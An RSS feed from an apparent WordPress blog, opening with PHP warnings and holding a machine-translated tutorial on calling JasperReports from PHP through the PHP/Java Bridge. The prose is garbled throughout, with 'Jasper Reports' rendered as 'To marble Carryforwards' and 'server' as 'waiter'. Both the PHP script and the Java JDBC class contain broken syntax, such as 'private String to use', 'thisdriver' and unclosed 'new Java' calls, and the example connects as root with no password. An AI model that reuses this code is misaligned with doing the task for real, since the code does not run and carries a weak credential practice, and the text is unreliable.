




























































































































































































<br />
<b>Warning</b>:  include_once(mnmincludesettings_from_db.php) [<a href='function.include-once'>function.include-once</a>]: failed to open stream: No such file or directory in <b>/home6/firdausi/public_html/settings.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  include_once() [<a href='function.include'>function.include</a>]: Failed opening 'mnmincludesettings_from_db.php' for inclusion (include_path='.:/usr/lib64/php:/usr/lib/php') in <b>/home6/firdausi/public_html/settings.php</b> on line <b>10</b><br />






<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>JagadMedia &#187; php</title>
	<atom:link href="http://www.jagadmaya.com/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.jagadmaya.com</link>
	<description>web information system solution</description>
	<lastBuildDate>Thu, 07 Jan 2010 14:12:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Integrating JasperReports to PHP</title>
		<link>http://www.jagadmaya.com/integration-phpjasperreports</link>
		<comments>http://www.jagadmaya.com/integration-phpjasperreports#comments</comments>
		<pubDate>Tue, 19 Feb 2008 05:31:10 +0000</pubDate>
		<dc:creator>Agung</dc:creator>
				<category><![CDATA[E-learning]]></category>
		<category><![CDATA[jasper report]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[java php integration]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://jagadmaya.com/integration-phpjasperreports.html</guid>
		<description><![CDATA[PHP/JasperReports Integration 
The purpose of this document is to explain how to implement the call of reports/ratios carried out with the JasperReports format from an application PHP via bridge PHP/JAVA Bridge.
I Introduction

PHP gained years by years an image of professional, simple and powerful language. As the French Association of the Users of PHP in his [...]]]></description>
			<content:encoded><![CDATA[<p><strong>PHP/JasperReports </strong><strong>Integration</strong> <img src="http://www.jasperforge.org/images/icon_pr_jasperreports.gif" align="right" height="39" width="215" /></p>
<p align="left">The purpose of this document is to explain how to implement the call of reports/ratios carried out with the JasperReports format from an application PHP via bridge PHP/JAVA Bridge.</p>
<p align="left"><strong>I Introduction<br />
</strong></p>
<p align="left">PHP gained years by years an image of professional, simple and powerful language. As the French Association of the Users of PHP in his White Paper shows it &#8220;PHP in Company&#8221; <a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage1" linkindex="14">(1)</a>, there is a very great number of Internet sites of reputation, companies of the CAC 40 which develops in PHP. What reinforces this image of robustness then. This notoriety of the language is also visible taking into account the number of articles which is devoted to him, and numbers it very important the research carried out on Google<a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage2" linkindex="15">(2)</a>.<span id="more-19"></span></p>
<p align="center"><a href="http://jagadmaya.com/wp-content/uploads/2008/02/image001.jpg" title="image001.jpg"><img src="http://jagadmaya.com/wp-content/uploads/2008/02/image001.jpg" alt="image001.jpg" align="absmiddle" /></a><br />
Illustration 1: Google Trends: JAVA, PHP, NET, PYTHON</p>
<p>There are some bookshops of good level for the production of graphs, of documents to format pdf However, little of them provide an environment to assist the originators of reports/ratios in their development and their publication. Agatha Carryforwards <a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage3" linkindex="16">(3)</a>, a Brésilien project has the ambition to bring to PHP the tools for reporting which it misses. This solution although functional calculus does not support PHP5 to date <a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage4" linkindex="17">(4)</a>. In the same way, the new platform of Zend in version 3.0.2 <a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage5" linkindex="18">(5)</a> poster a support for BIRT<a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage6" linkindex="19">(6)</a>, an environment of design of report/ratio based under Eclipse and supported by Actuate.</p>
<p>Jasper Reports offered to the world Java TM an engine of great quality for the generation of reports/ratios gathering tables, graphs, mixing with the very heterogeneous data sources (report/ratio multi-source). This tool in more of being very powerful can export towards various formats such as: pdf, HTML, xls, xml, cvs, txt, rtf and in particular a support for Open Office since its last version. In addition, iReport, an environment of development Jasper Carryforwards gets a high level assistance in the construction of the other reports/ratios or states. Moreover, the two projects follow a synchronized evolution. Thus, all the functionalities added to the engine Jasper Carryforwards are taken into account by iReport.</p>
<p>Many are the interrogations posted on the forums on the tools for reporting in PHP, or on the integration between PHP and of the third environment of reporting. Here is an answer: &#8220;PHP and To marble Carryforwards&#8221;! This one seems to us elegant because it brings productivity, thanks to iReport which is rather simple to take in hand then avoiding learning the API one from the bookshop. Then, Jasper Carryforwards is an engine now tested: many free solutions or owners embark it, of the large companies like Siemens, the French administrations make a use of it regular. Lastly, association PHP, Java, via PHP/Java Bridge <a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage7" linkindex="20">(7)</a> starts to gain its gallons. Even if some think that there are margins of improvement <a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#noteBasPage8" linkindex="21">(8)</a>. This project makes possible the instanciation of java objects since programs PHP with syntax PHP.</p>
<p>You included/understood it to integrate reports/ratios Jasper Carryforwards into your programs PHP it is necessary to install PHP/Java Bridge.</p>
<p><strong>II. Installation of PHP/Java Bridge</strong></p>
<p><strong>II-A. installation under GNU Linux</strong></p>
<p>The installation under GNU Linux is rather simple bus the packages are available to the format rpm. It is advisable to download the file <strong>php-java-bridge-x.y.z-1-i386.rpm</strong> and to install it:</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>file rpm for the installation of the bridge between php and java</strong></em></td>
</tr>
<tr>
<td><em>rpm -i php-java-bridge-x.y.z-1- i386.rpm</em><em> </em></td>
</tr>
</table>
<p>where &#8220;x.y.z&#8221; corresponds to the last stable version.</p>
<p>Of course it is necessary to have a virtual machine Java installed on her machine. In the file <strong>php.ini</strong> it is at least necessary to initiate the variable java.java. You must in your file <strong>php.ini</strong> (or <strong>php.d/java.ini</strong>) add the entries:</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuration of the file php.ini</strong></em></td>
</tr>
<tr>
<td><em>java.java_home= {Repertory D&#8217;installation JAVA}</em><em> java.java={Répertoire d&#8217;JAVA </em><em>installation</em></td>
</tr>
</table>
<p>where {Répertoire of installation JAVA} is to be replaced by the way towards your intallation of the SDK.</p>
<p>If you wish to make dialogue your applications PHP and a waiter J2EE to install the package php-java-bridge-tomcat:</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>file rpm to exploit an interface with tomcat</strong></em></td>
</tr>
<tr>
<td><em>rpm -i php-java-bridge-tomcat-x.y.z-1i386.rpm</em><em> </em></td>
</tr>
</table>
<p>To download the adequate files to see: <a href="http://sourceforge.net/project/showfiles.php?group_id=117793" linkindex="22">http://sourceforge.net/project/showfiles.php?group_id=117793</a></p>
<p><strong>II-B. installation under Windows</strong></p>
<p>Here, it is necessary to download <strong>php-java-bridge_y.x.z_j2ee.zip</strong>, to decompress it in a temporary repertory. Among the which decompressed files there is a file Web <strong>JavaBridge.war </strong>. Also decompress and copy the files <strong>JavaBridge.jar</strong> and <strong>java-x86-windows.dll</strong> respectively since Web-INF/lib and Web-INF/cgi in <strong>the repertory of your extension php</strong>. Lastly, you should add some entries in your file php.ini.</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuration php.ini</strong></em></td>
</tr>
<tr>
<td><em>Extension=php_java.dll</em><em> </em></td>
</tr>
</table>
<p>Your file php.ini integrates the preceding line then and is close to what follows:</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuration php.ini</strong></em></td>
</tr>
<tr>
<td><em>; windows Extensions</em><em> ; Note that ODBC support is built in, so no dll is nedded for it.</em><em>; Note that mny DLL files are located in the extensions/ (PHP 4) ext. </em><em>(PHP 5)&#8230;&#8230;;extension-php_mbstring.dll;extension-php_bz2.dll&#8230;&#8230;</em><em>extension-php_java.dll&#8230;&#8230;</em></td>
</tr>
</table>
<p>Finally configure the Java connector for PHP</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuration php.ini</strong></em></td>
</tr>
<tr>
<td><em>;;;;;;;;;;;;;;;;;;;</em><em> ; Module Settings ;</em><em>;;;;;;;;;;;;;;;;;;;</em><em>[java]</em><em>java.java_home = &#8220;c:\Program File\Java\jdk1.50_10\bin &#8220;java.java =&#8221; c:\Program </em><em>File\Java\jdk1.50_10\bin\javaw.exe &#8220;java.class.path</em><em>=&#8221; c:\php\ext\JavaBridge.jar &#8220;java.library.path =&#8221; c:\php\ext </em><em>&#8220;;java.hosts =&#8221;127.0.0.1:8080&#8243;;java.servlet = One java.log_level = 2</em></td>
</tr>
</table>
<p>Of course the various variables are to be initialized with the values relative to your evironnement Java (the repertory where is installed your SDK), or of your waiter of application J2EE.</p>
<p>for more iformations: <a href="http://www.dsl.uow.edu.au/%7esk33/php5java.htm" linkindex="23">http://www.dsl.uow.edu.au/~sk33/php5java.htm</a></p>
<p><strong>II-C. checking of the support java of PHP</strong></p>
<p>You must start again your waiter apache and check that you have well the support java of PHP.</p>
<p>Create a phpinfo.php page and insert there the following lines:</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>phpinfo()</strong></em></td>
</tr>
<tr>
<td><em>&lt;?php</em><em> <a href="http://www.php.net/manual/fr/function.phpinfo.php" linkindex="24">phpinfo</a>();</em><em>?&gt; </em></td>
</tr>
</table>
<p>Save this file, publish it on your environment Web, and call the page since your navigator. You will have to observe the support java of php.</p>
<p><a href="http://jagadmaya.com/wp-content/uploads/2008/02/image002.jpg" title="image002.jpg"><img src="http://jagadmaya.com/wp-content/uploads/2008/02/image002.jpg" alt="image002.jpg" /></a></p>
<p>Illustration 4: modulate php/java bridge</p>
<p><strong>II-D. your first integration between PHP and Java</strong></p>
<p>Create a file java.php and stick the following lines:</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>call of java since php</strong></em></td>
</tr>
<tr>
<td><em>&lt;?php</em><em> $system = new Java&#8217;java.lang.System&#8217;);</em><em><a href="http://www.php.net/manual/fr/function.echo.php" linkindex="25">echo</a> &#8216;Java version=&#8217; . $system-&gt;getProperty(&#8217;java.version&#8217;) . &#8216; &lt;br /&gt;&#8217;;</em><em><a href="http://www.php.net/manual/fr/function.echo.php" linkindex="26">echo</a> &#8216;Java vendor=&#8217; . $system-&gt;getProperty(&#8217;java.vendor&#8217;) . &#8216;&lt;br /&gt;&#8217;;</em><em><a href="http://www.php.net/manual/fr/function.echo.php" linkindex="27">echo</a> &#8216;OS=&#8217; . $system-&gt;getProperty(&#8217;os.name&#8217;) . &#8216; &#8216; .</em><em>$system-&gt;getProperty(&#8217;os.version&#8217;) . &#8216; on &#8216; .</em><em>$system-&gt;getProperty(&#8217;os.arch&#8217;) . &#8216;&lt;br /&gt;&#8217;;</em><em>// Example java.util.Date</em><em>$formater = new Java&#8217;java.text.SimpleDateFormat&#8217;,</em><em>&#8220;EEEE, MMMM dd, yyyy &#8216;at&#8217; h:mm:ss a zzzz&#8221;);</em><em><a href="http://www.php.net/manual/fr/function.echo.php" linkindex="28">echo</a> $formater-&gt;format(new Java&#8217;java.util.Date&#8217;));</em><em>?&gt;</em></td>
</tr>
</table>
<p>Record this Web page and call since your navigator.</p>
<p><a href="http://jagadmaya.com/wp-content/uploads/2008/02/image003.jpg" title="image003.jpg"><img src="http://jagadmaya.com/wp-content/uploads/2008/02/image003.jpg" alt="image003.jpg" /></a></p>
<p>Illustration 5: the first integration between php and java</p>
<p><strong>III. Call of the JasperReports files since PHP</strong></p>
<p><strong>III-A. to build your model of document with iReport</strong></p>
<p><a href="http://jagadmaya.com/wp-content/uploads/2008/02/image004.jpg" title="image004.jpg"><img src="http://jagadmaya.com/wp-content/uploads/2008/02/image004.jpg" alt="image004.jpg" /></a></p>
<p>Illustration 6: iReport 1.3.3</p>
<p>Thanks to iReport you will be able to build your report/ratio:</p>
<ol type="1">
<li>define your connection to your data base or another data source</li>
<li>create a new document</li>
<li>create a request with the assistant</li>
<li>Add the elements which you wish with your report/ratio</li>
<li>Record your report/ratio</li>
<li>Carry out the report/ratio.</li>
</ol>
<p><strong>III-B. to write the script PHP which calls your file JRXML</strong></p>
<p>In the example which follows we will proceed to instanciations of the classes of the API java To marble Carryforwards while following the stages generally indicated in the examples provided by their demonstration.</p>
<p align="center"><a href="http://jagadmaya.com/wp-content/uploads/2008/02/image005.jpg" title="image005.jpg"><img src="http://jagadmaya.com/wp-content/uploads/2008/02/image005.jpg" alt="image005.jpg" /></a></p>
<p align="center">Illustration 7: API To marble Carryforwards: flow of generation</p>
<p>Create a file which you can for example name jasperreports.php and add the following lines:</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>JasperReports since a script php</strong></em></td>
</tr>
<tr>
<td><em>&lt;?php</em><em> $reportsPath =&#8221;/home/ccharly/publichtml/utils/reports/&#8221;;</em><em>$reportFileName = &#8220;CommandesClients1&#8243;;</em><em>$jasperReportsLib = &#8220;/home/ccharly/publichtml/utils/jasperlib&#8221;;</em><em>if(<a href="http://www.php.net/manual/fr/function.extension-loaded.php" linkindex="29">extension_loaded</a>(&#8217;java&#8217;)) {</em><em>$handle = @<a href="http://www.php.net/manual/fr/function.opendir.php" linkindex="30">to opendir</a>($jasperReportsLib);</em><em>while(($new_item = <a href="http://www.php.net/manual/fr/function.readdir.php" linkindex="31">to </a></em><em><u><a href="http://www.php.net/manual/fr/function.readdir.php" linkindex="32">readdir</a></u>($handle))!==false) {</em><em>$java_library_path .= &#8216;file:&#8217;.$jasperReportsLib.&#8217;/&#8217;.$new_item .&#8217;;';</em><em>}</em><em>try {</em><em>java_require($java_library_path);</em><em>$Conn = new Java&#8221;org.altic.jasperReports.JdbcConnection&#8221;);</em><em>// driver </em><em>$Conn-&gt;setDriver(&#8221;com.mysql.jdbc.Driver&#8221;);</em><em>// url de connexion</em><em>$Conn-&gt;setConnectString(&#8221;jdbc:mysql://localhost/erpmart&#8221;);</em><em>$Conn-&gt;setUser(&#8221;root&#8221;);</em><em>// mot de passe</em></p>
<p><em>$Conn-&gt;setPassword(null);</em></p>
<p><em>$sJcm = new JavaClass(&#8221;net.sf.jasperreports.engine.JasperCompileManager&#8221;);</em></p>
<p><em>$report = $sJcm-&gt;compileReport($reportsPath .$reportFileName.&#8221;.jrxml&#8221;);</em></p>
<p><em>$sJfm = new JavaClass(&#8221;net.sf.jasperreports.engine.JasperFillManager&#8221;);</em></p>
<p><em>$print = $sJfm-&gt;fillReport( </em></p>
<p><em>$report, </em></p>
<p><em>new Java&#8221;java.util.HashMap&#8221;),</em></p>
<p><em>$Conn-&gt;getConnection());</em></p>
<p><em>$sJem = new JavaClass(&#8221;net.sf.jasperreports.engine.JasperExportManager&#8221;);</em></p>
<p><em>$sJem-&gt;exportReportToPdfFile($print, $reportsPath .$reportFileName.&#8221;.pdf&#8221;);</em></p>
<p><em>if (<a href="http://www.php.net/manual/fr/function.file-exists.php" linkindex="33">file_exists</a>($reportsPath .$reportFileName.&#8221;.pdf&#8221;)){</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="34">header</a>(&#8217;Content-disposition: attachment; filename=&#8221;&#8216;.$reportFileName.&#8217;.pdf&#8221;&#8216;);</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="35">header</a>(&#8217;Content-Type: application/pdf&#8217;);</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="36">header</a>(&#8217;Content-Transfer-Encoding: binary&#8217;);</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="37">header</a>(&#8217;Content-Length: &#8216;. @<a href="http://www.php.net/manual/fr/function.filesize.php" linkindex="38">filesize</a>($reportsPath . $reportFileName.&#8221;.pdf&#8221;));</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="39">header</a>(&#8217;Pragma: no-cache&#8217;);</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="40">header</a>(&#8217;Cache-Control: must-revalidate, post-check=0, pre-check=0&#8242;);</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.header.php" linkindex="41">header</a>(&#8217;Expires: 0&#8242;);</em></p>
<p><em><a href="http://www.php.net/manual/fr/function.set-time-limit.php" linkindex="42">set_time_limit</a>(0);</em></p>
<p><em>@<a href="http://www.php.net/manual/fr/function.readfile.php" linkindex="43">readfile</a>($reportsPath .$reportFileName.&#8221;.pdf&#8221;) or <a href="http://www.php.net/manual/fr/function.die.php" linkindex="44">die</a>(&#8221;problem occurs.&#8221;);</em></p>
<p><em>}</em></p>
<p><em>} catch (JavaException $ex) {</em></p>
<p><em>$trace = new Java&#8221;java.io.ByteArrayOutputStream&#8221;);</em></p>
<p><em>$ex-&gt;printStackTrace(new Java&#8221;java.io.PrintStream&#8221;, $trace));</em></p>
<p><em>print &#8220;java stack trace: $trace\n&#8221;;</em></p>
<p><em>}</em></p>
<p><em>}</em></p>
<p><em>?&gt;</em></td>
</tr>
</table>
<p>You must adapt the file by modifying the following variables:</p>
<p><strong>$reportsPath</strong> : way where your reports/ratios with the format jrxml are arranged</p>
<p><strong>$reportFileNam</strong>E: name of the file to be compiled and export in pdf (note: here only the root of the name of the file is necessary)</p>
<p><strong>$jasperReportsLib</strong> : repertory of the bookshops necessary to the use of JasperReports. This repertory contains for example the same bookshops as those contained in the repertory lib of iReport.</p>
<p>The order java_require load in the classpath all these bookshops. Take care that the repertory indicated by $jasperReportsLib is accessible to the user who makes turn apache as well as the files that it contains.</p>
<p>Add the file alticJasper.jar it contains a small utility to create a connection JDBC.</p>
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>classify connection JDBC</strong></em></td>
</tr>
<tr>
<td><em>package org.altic.jasperReports;</em><em> import java.io.FileInputStream;</em><em>import java.io.InputStream;</em><em>import java.sql.Connection;</em><em>import java.sql.DriverManager;</em><em>import java.sql.SQLException;</em><em>import java.util.Properties;</em><em>/**</em><em>* @author ccharly</em><em>*</em><em>*/</em><em>public class JdbcConnection {</em><em>private String driver; // &#8220;oracle.jdbc.driver.OracleDriver&#8221;;</em><em>private String connectString; // &#8220;jdbc:oracle:thin:@YOUR_ORACLE_HOST:1521:YOUR_SID&#8221;;</em><em>private String to use; //&#8221;YOUR_ORACLE_USER_NAME&#8221;;</em><em>private String password; // &#8220;YOUR_ORACLE_PASSWORD&#8221;;</em><em>public JdbcConnection(){</em><em>//loadPropertiesConnection();</em><em>}</em></p>
<p><em>public JdbcConnection(String driver, String connectString, </em></p>
<p><em>String to use, String password){</em></p>
<p><em>thisdriver = driver;</em></p>
<p><em>thisconnectString = connectString;</em></p>
<p><em>thisuser = to use;</em></p>
<p><em>thispassword = password;</em></p>
<p><em>}</em></p>
<p><em>public void loadPropertiesConnection(){</em></p>
<p><em>thisdriver = &#8220;&#8221;;</em></p>
<p><em>thisconnectString = &#8220;&#8221;;</em></p>
<p><em>thisuser = &#8220;&#8221;;</em></p>
<p><em>thispassword = &#8220;&#8221;;</em></p>
<p><em>try {</em></p>
<p><em>Properties props = new Properties(); InputStream resourceAsStream = getClass().getResourceAsStream(&#8221;/connection.properties&#8221;); props.load(resourceAsStream);</em></p>
<p><em>this.setDriver(props.getProperty(&#8221;driver&#8221;));</em></p>
<p><em>this.setConnectString(props.getProperty(&#8221;connectString&#8221;));</em></p>
<p><em>this.setUser(props.getProperty(&#8221;user&#8221;));</em></p>
<p><em>this.setPassword(props.getProperty(&#8221;password&#8221;));</em></p>
<p><em>}catch(Exception E){</em></p>
<p><em>E.printStackTrace();</em></p>
<p><em>}</em></p>
<p><em>}</em></p>
<p><em>public Connection getConnection()</em></p>
<p><em>{</em></p>
<p><em>try {</em></p>
<p><em>//Change these settings according to your local configuration</em></p>
<p><em>Class.forName(this.getDriver()); Connection conn = DriverManager.getConnection(</em></p>
<p><em>this.getConnectString() </em></p>
<p><em>this.getUser() </em></p>
<p><em>this.getPassword());</em></p>
<p><em>return conn;</em></p>
<p><em>}catch(ClassNotFoundException E){</em></p>
<p><em>E.printStackTrace();</em></p>
<p><em>}catch(SQLException E){</em></p>
<p><em>E.printStackTrace();</em></p>
<p><em>}</em></p>
<p><em>return null;</em></p>
<p><em>}</em></p>
<p><em>public String toString(){</em></p>
<p><em>return &#8221; Driver : &#8221; + this.getDriver() + &#8221; | &#8221; + </em></p>
<p><em>&#8221; ConnectString : &#8221; + this.getConnectString() + &#8221; | &#8221; +</em></p>
<p><em>&#8221; User : &#8221; + this.getUser() + &#8221; | &#8221; +</em></p>
<p><em>&#8221; Password : &#8221; + this.getPassword();</em></p>
<p><em>}</em></p>
<p><em>public String getConnectString() {</em></p>
<p><em>return connectString;</em></p>
<p><em>}</em></p>
<p><em>public void setConnectString(String connectString) {</em></p>
<p><em>thisconnectString = connectString;</em></p>
<p><em>}</em></p>
<p><em>public String getDriver() {</em></p>
<p><em>return driver;</em></p>
<p><em>}</em></p>
<p><em>public void setDriver(String driver) {</em></p>
<p><em>thisdriver = driver;</em></p>
<p><em>}</em></p>
<p><em>public String getPassword() {</em></p>
<p><em>return password;</em></p>
<p><em>}</em></p>
<p><em>public void setPassword(String password) {</em></p>
<p><em>thispassword = password;</em></p>
<p><em>}</em></p>
<p><em>public String getUser() {</em></p>
<p><em>return to use;</em></p>
<p><em>}</em></p>
<p><em>public void setUser(String to use) {</em></p>
<p><em>thisuser = to use;</em></p>
<p><em>}</em></p>
<p><em>}</em></td>
</tr>
</table>
<p>You must thus modify the parameters of connections towards your data base. Also think of adding the bookshop of connector JDBC towards your data base.</p>
<p>Indicate driver JDBC of your data base, for example for MySql</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em>configuratioin of a connection JDBC since PHP &#8211; 2</em></td>
</tr>
<tr>
<td><em>$Conn-&gt;setDriver(&#8221;com.mysql.jdbc.Driver&#8221;);</em><em> </em></td>
</tr>
</table>
<p>Indicate the URL of connection</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuratioin of a connection JDBC since PHP &#8211; 2</strong></em></td>
</tr>
<tr>
<td><em>$Conn-&gt;setConnectString(&#8221;jdbc:mysql://{Nom du S}:{port}/{Nom de la Base de données}&#8221;);</em></td>
</tr>
</table>
<p>Indicate the name of the user</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuratioin of a connection JDBC since PHP &#8211; 3</strong></em></td>
</tr>
<tr>
<td><em>$Conn-&gt;setUser({user};</em></td>
</tr>
</table>
<p>Indicate the password</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>configuratioin of a connection JDBC since PHP &#8211; 4</strong></em></td>
</tr>
<tr>
<td><em>$Conn-&gt;setPassword({Password});</em></td>
</tr>
</table>
<p>Once these parameter settings finished, you are able to generate your JasperReports reports/ratios since PHP. Compilation is undoubtedly not useful if you to directly publish the files &#8220;jasper&#8221; which you can recover since iReport.</p>
<p><a href="http://jagadmaya.com/wp-content/uploads/2008/02/image006.jpg" title="image006.jpg"><img src="http://jagadmaya.com/wp-content/uploads/2008/02/image006.jpg" alt="image006.jpg" /></a></p>
<p>Illustration 8: remote loading of the generated file</p>
<p><strong>IV. Conclusion</strong></p>
<p>This small example shows how it is thus possible to exploit JasperReports via an application PHP. This integration brings to PHP a tool for powerful and particularly productive reporting thanks to iReport. The originators of reports/ratios finds themselves in a convivial and productive environment.</p>
<p>To increase the productivity for this reason it would be interesting to encapsulate JasperReports in order to mask complexity of it not to reject the users of PHP already accustomed to a relatively simple syntax. Let us take for example the connection towards the data base one would need a line of code which would be:</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>to simplify connection JDBC &#8211; 1</strong></em></td>
</tr>
<tr>
<td><em>$conn-&gt;getMySqlConnection({name of the Waiter}, {Port}, {Bases user data}, {}, {Password});</em></td>
</tr>
</table>
<p>or</p>
<p align="center">
<table border="0" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><em><strong>to simplify connection JDBC &#8211; 2</strong></em></td>
</tr>
<tr>
<td><em>$conn-&gt;getConnection({basic <a href="http://www.php.net/manual/fr/function.type.php" linkindex="45">Type},{</a>name of the Waiter}, {Port}, {Bases user data}, {}, {Password});</em></td>
</tr>
</table>
<p>where {Type basic} would be worth: ORACLE, MYSQL, POSTGRESQL</p>
<p>The encapsulation would also avoid with developers PHP having to handle the direct calls with the classes java, which would simplify the reading of the code of it.</p>
<p>The Dynamic project To marble offer a simplification of API JasperReports. It would be interesting to be based on this project to develop a bookshop of scripts PHP for JasperReports.</p>
<p align="left">&nbsp;</p>
<p align="left">&nbsp;</p>
<p align="left"><strong>Translated from<em>  <a href="http://charly-clairmont.developpez.com/">www.charly-clairmont.developpez.com</a></em><br />
</strong></p>
<p align="left">Go back to publication: 01/06/2007, Date of update: 24/08/2007 By <a href="mailto:charly.clairmont@altic.org">Charly Clairmont</a> <a href="http://charly-clairmont.developpez.com/" linkindex="0">(Site perso)</a></p>
<p><strong>To go further</strong></p>
<p><strong>PHP/Java Bridge</strong> <img src="file:///E:/img/image007.jpg" alt="in" id="Picture 7" border="0" height="12" width="16" /> <a href="http://php-java-bridge.sourceforge.net/pjb" linkindex="46">http://php-java-bridge.sourceforge.net/pjb</a></p>
<p><strong>Jasper Reports and PHP</strong> It is a very good article which brings already a certain abstraction of complexity To marble Carryforward in PHP. It is necessary I think of going even further. But it is a very good beginning.  <a href="http://www.rjohnson.id.au/wordpress/2007/02/04/jasper-reports-and-php/" linkindex="47">http://www.rjohnson.id.au/wordpress/2007/02/04/jasper-carryforwards-and-php/</a></p>
<p><strong>Project To marble Carryforwards</strong>  <a href="http://jasperforge.org/sf/projects/jasperreports" linkindex="48">http://jasperforge.org/sf/projects/jasperreports</a></p>
<p><strong>Project iReport</strong>  <a href="http://jasperforge.org/sf/projects/ireport" linkindex="49">http://jasperforge.org/sf/projects/ireport</a></p>
<p><strong>PHP and BEA Weblogic</strong>  <a href="http://dev2dev.bea.com/pub/a/2007/02/php-java-bridge.html" linkindex="50">http://dev2dev.bea.com/pub/a/2007/02/php-java-bridge.html</a></p>
<p><strong>Courses on the generators of states &#8211; on Developpez.com</strong>  <a href="http://etats.developpez.com/" linkindex="51">http://etats.developpez.com</a></p>
<p><strong>Integration of FOP and PHP/Java Bridge</strong>  <a href="http://wiki.apache.org/xmlgraphics-fop/HowTo/PHPJavaBridge" linkindex="52">http://wiki.apache.org/xmlgraphics-fop/HowTo/PHPJavaBridge</a></p>
<p><strong>Dynamic To marble</strong>  <a href="http://dynamicjasper.sourceforge.net/" linkindex="53">http://dynamicjasper.sourceforge.net/</a></p>
<table border="0" cellpadding="0">
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage1" linkindex="56">(1)</a></td>
<td>Deliver Blanc &#8220;PHP in company&#8221; &#8211; <a href="http://php.developpez.com/etudes/livre-blanc-php-entreprise/" linkindex="57">http://php.developpez.com/etudes/livre-white-php-company</a></td>
</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage2" linkindex="58">(2)</a></td>
<td><a href="http://google.fr/trends%3fq%3djava,php,python,.net%26ctab%3d0%26geo%3dall%26date%3dall%26sort%3d0" linkindex="59">http://google.fr/trends?q=java, php, python, net&amp;ctab=0&amp;geo=all&amp;date=all&amp;sort=0</a></td>
</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage3" linkindex="60">(3)</a></td>
<td><a href="http://www.agata.org.br/" linkindex="61">http://www.agata.org.br/</a></td>
</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage4" linkindex="62">(4)</a></td>
<td><a href="http://groups.google.fr/group/comp.lang.php/browse_thread/thread/b9e178b19c135cca/ba59aa035b6e4b8f" linkindex="63">http://groups.google.fr/group/comp.lang.php/browse_thread/thread/b9e178b19c135cca/ba59aa035b6e4b8f</a></td>
</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage5" linkindex="64">(5)</a></td>
<td><a href="http://www.zend.com/fr/products/zend_platform/what_s_new" linkindex="65">http://www.zend.com/fr/products/zend_platform/what_s_new</a></td>
</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage6" linkindex="66">(6)</a></td>
<td><a href="http://www.eclipse.org/birt/phoenix/" linkindex="67">http://www.eclipse.org/birt/phoenix/</a> &#8211; <a href="http://birtworld.blogspot.com/" linkindex="68">http://birtworld.blogspot.com</a></td>
</tr>
<tr>
<td><a href="http://charly-clairmont.developpez.com/tutoriels/php-jasper-reports/#signetNoteBasPage7" linkindex="69">(7)</a></td>
<td><a href="http://php-java-bridge.sourceforge.net/pjb/index.php" linkindex="70">http://php-java-bridge.sourceforge.net/pjb/index.php</a></td>
